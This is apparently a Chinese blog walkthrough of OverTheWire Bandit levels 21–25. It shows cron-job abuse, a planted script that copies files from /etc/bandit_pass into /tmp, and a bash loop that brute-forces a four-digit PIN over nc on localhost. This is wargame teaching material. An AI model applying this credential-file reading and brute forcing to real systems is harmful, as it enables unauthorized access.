bandit系列21--27

level21:linux计划任务

    ls /etc/cron.d/    #发现可疑文件cronjob_bandit22

    cat cronjob_bandit22    #发现执行命令/usr/bin/cronjob_bandit22.sh,查看该文件属性,发现group组有x权限。

    /usr/bin/cronjob_bandit22.sh

    cat t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv    #这里注意,用户没有ls /tmp的权限,但可以访问tmp里面的文件。


level22:linux下求算md5

    echo I am user bandit23 | md5sum | cut -d ' ' -f 1    #结果是8ca319486bfbbc3663ea0fbe81326349

    cat /tmp/8ca319486bfbbc3663ea0fbe81326349       #由于crontab定时执行相应脚本,所以/tmp/下存在这个文件


level23:bash脚本(当然只是为了解体,可以使用level22的方法,因为总有人已经做好脚本了)

    cat /ect/cron.d/cronjob_bandit23  #* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null

    ls -l /usr/bin/cronjob_bandit23.sh  

    #-rwxr-x--- 1 bandit23 bandit22 211 Nov 14 10:32 /usr/bin/cronjob_bandit23.sh  具备写权限

    #编写脚本:这里使用人家已经写好的

   #!/bin/bash


  myname=$(whoami)

  mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

  #由于执行的时候是将输出重定向到了/dev/null,所以下面一句没意义

  #echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"


  cat /etc/bandit_pass/$myname > /tmp/$mytarget


    脚本写好,等待一段时间,使用level22的方法,获取下一关密码。



//原来只有到此为止,如今整理的时候发现新增加了几题

level24:brute-forcing

    #题目要求$passwd_bandit24 {0000..9999}暴力出下一关的密钥

    echo "$passwd_bandit24 0000" | nc localhost 30002

    #发现返回结果第二行以Wrong!开头,所以暴力脚本如下:

#!/bin/bash


passwd="$passwd_bandit24"

for i in {0..9999}

  do

    #printf "try $passwd %04d\n" $i

    a=`printf "$passwd %04d" $i | nc localhost 30002 | awk "NR==2" | grep -v Wrong`    #awk那段是取返回结果的第二行

    if [ -n "$a" ]    #判断返回结果是否为空,如果不为空,再次访问获取结果。因为结果在第三行,所以要加这个。

      then

        printf "$passwd %04d" $i | nc localhost 30002

        break

    fi

done


    #这个不是效率最高的脚本,欢迎有高手可以赐教效率更高的脚本。



level25:非bash的shell


你可能感兴趣的:(linux命令,Bandit,overthewire)